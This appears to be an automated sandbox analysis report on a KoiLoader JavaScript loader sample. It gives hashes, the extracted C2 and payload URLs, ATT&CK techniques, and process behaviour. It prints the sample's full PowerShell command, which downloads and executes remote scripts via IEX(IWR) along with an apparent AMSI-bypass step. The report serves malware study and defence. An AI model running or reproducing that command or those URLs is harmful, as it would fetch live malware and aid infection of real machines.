koiloader | 9e1c9678aa1a203879ea5e93fd18f2831f6168ebf2d1f62680091bc21fc4217c

Analysis

max time kernel
94s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
06-06-2024 14:07

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General

Target

9e1c9678aa1a203879ea5e93fd18f2831f6168ebf2d1f62680091bc21fc4217c.js
Size

1KB
MD5

e2e9bf7a7dcfe1d55a43229add47520b
SHA1

f668de5e1e1090b831a6e8d8f08a9107234ab77f
SHA256

9e1c9678aa1a203879ea5e93fd18f2831f6168ebf2d1f62680091bc21fc4217c
SHA512

97eee0d2c2c71e53418323511599dc4a94f82633dff83b153a271eaa24b918a6c53544b20f51d3de4b2c5a4f0b442eb1edbb2706c9591463c1982f44e580deec

Score

10^/10

koiloader execution loader

Malware Config

Extracted

Family

koiloader

http://81.19.141.115/marasmus.php

Attributes

payload_url
https://www.dsestimation.com/wp-content/uploads/2015/10

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Detects KoiLoader payload 1 IoCs
loader

Processes:

resource yara_rule

behavioral2/memory/4776-24-0x0000000007D90000-0x0000000007D9D000-memory.dmp family_koi_loader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 4776 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation wscript.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4776 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4776 powershell.exe
4776 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4776 powershell.exe

resource	yara_rule
behavioral2/memory/4776-24-0x0000000007D90000-0x0000000007D9D000-memory.dmp	family_koi_loader

flow	pid	process
16	4776	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	wscript.exe

pid	process
4776	powershell.exe

pid	process
4776	powershell.exe
4776	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4776	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

wscript.exe

description	pid	process	target process
PID 628 wrote to memory of 4776	628	wscript.exe	powershell.exe
PID 628 wrote to memory of 4776	628	wscript.exe	powershell.exe
PID 628 wrote to memory of 4776	628	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\9e1c9678aa1a203879ea5e93fd18f2831f6168ebf2d1f62680091bc21fc4217c.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:628

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7zNMB3GWTLNX'; IEX(IWR -UseBasicParsing 'https://www.dsestimation.com/wp-content/uploads/2015/10/piemagLI2X6.ps1'); $vv.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://www.dsestimation.com/wp-content/uploads/2015/10/noncontrabandsVB1.ps1')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4776

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ob4hzkgq.lbt.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4776-17-0x0000000006250000-0x00000000065A4000-memory.dmp

Filesize
3.3MB

Download
memory/4776-2-0x0000000005150000-0x0000000005186000-memory.dmp

Filesize
216KB

Download
memory/4776-4-0x0000000005940000-0x0000000005F68000-memory.dmp

Filesize
6.2MB

Download
memory/4776-6-0x0000000006070000-0x00000000060D6000-memory.dmp

Filesize
408KB

Download
memory/4776-18-0x0000000006720000-0x000000000673E000-memory.dmp

Filesize
120KB

Download
memory/4776-7-0x00000000060E0000-0x0000000006146000-memory.dmp

Filesize
408KB

Download
memory/4776-3-0x00000000748D0000-0x0000000075080000-memory.dmp

Filesize
7.7MB

Download
memory/4776-1-0x00000000748DE000-0x00000000748DF000-memory.dmp

Filesize
4KB

Download
memory/4776-5-0x0000000005850000-0x0000000005872000-memory.dmp

Filesize
136KB

Download
memory/4776-19-0x0000000006750000-0x000000000679C000-memory.dmp

Filesize
304KB

Download
memory/4776-20-0x0000000007E40000-0x00000000084BA000-memory.dmp

Filesize
6.5MB

Download
memory/4776-21-0x0000000006C40000-0x0000000006C5A000-memory.dmp

Filesize
104KB

Download
memory/4776-22-0x00000000748D0000-0x0000000075080000-memory.dmp

Filesize
7.7MB

Download
memory/4776-24-0x0000000007D90000-0x0000000007D9D000-memory.dmp

Filesize
52KB

Download
memory/4776-30-0x00000000748D0000-0x0000000075080000-memory.dmp

Filesize
7.7MB

Download
memory/4776-23-0x0000000007D70000-0x0000000007D71000-memory.dmp

Filesize
4KB

Download